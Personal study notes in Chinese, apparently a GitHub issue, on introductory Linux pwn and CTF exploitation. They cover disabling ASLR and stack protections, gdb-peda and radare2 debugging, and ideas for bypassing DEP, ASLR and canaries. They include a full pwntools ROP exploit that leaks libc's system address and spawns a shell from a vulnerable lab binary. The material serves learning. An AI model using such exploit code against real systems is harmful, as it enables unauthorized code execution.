xinali/articles

PWN 初探

xinali opened this issue · 0 comments

关掉整个系统的ALSR
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -z execstack -o level1 level1.c
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector

开启core dump功能
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

pwn 从入门到放弃:https://www.n0tr00t.com/2017/12/15/Linux-Pwn-Rumen~Fangqi.html

调试无符号elf文件:

  1. http://blog.csdn.net/netsniffer/article/details/32163569
  2. 通过radare调试

radare2 案例:
https://jinyu00.github.io/2017/11/01/step_by_step_pwn_router_part8.html
cheatsheet:https://github.com/radare/radare2/blob/master/doc/intro.md

打印函数地址:
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>

查找字符串
gdb-peda$ find CTF
Searching for 'CTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d21 ("CTF{Here's the flag on server}")
smashes : 0x600d21 ("CTF{Here's the flag on server}")

ELF的重映射:当可执行文件足够小的时候,他的不同区段可能会被多次映射。

smashes: 产生溢出异常,让溢出函数打印出flag,将flag地址铺满stack

vmmap 查看映射表

在调试的过程中,gdb中的vulfunction的地址并不一定是其真实运行的地址,需要将出错位置dump下来,之后查看shellcode地址

偏移位置:
pattern create 200
run
paste
pattern search 0xxxxxxx
esp => 偏移量

返回地址:
./level <= input_data
gdb level /tmp/core.xxx
x/10s $esp => esp 地址

各种保护机制绕过原理:

  1. DEP/NX绕过
    数据执行保护,栈上的代码标记为数据,使其不可执行,此时从lib.so中找到system_add和/bin/sh的地址。这里无论是gdb还是真实运行,lib.so的加载地址应该是一样的。在pwn过程中,难点就是有没有提供libc.so。
    这里有一个规则需要记住:
    第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got

还可以这么理解:
write_addr - system_addr == write_addr_libc - system_addr_libc

a. 有libc.so的情况
b. 没有libc.so的情况 这里还需要分出64位程序的情况,寻找ropgadget
编写地址leak函数 => leak出system地址 => 找到.bss块地址/找到rop gadget地址 => send(‘/bin/sh\0’)
大概的流程是这样的
from pwn import *

elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048474

def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

p = process('./level2')
#p = remote('127.0.0.1', 10002)

d = DynELF(leak, elf=ELF('./level2'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

bss_addr = 0x0804a020
pppr = 0x804855d

payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()

print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()

  1. ALSR 绕过
  2. CANNARY(栈保护)
    防止返回地址被覆盖

再看一遍 rop:https://segmentfault.com/a/1190000007406442
关键在于其原理

常见保护机制:https://introspelliam.github.io/2017/09/30/linux%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%B8%B8%E7%94%A8%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/

$1 = {<text variable, no debug info>} 0x7ffff784e390 <__libc_system>
libc : 0x7ffff7995d17 --> 0x68732f6e69622f ('/bin/sh')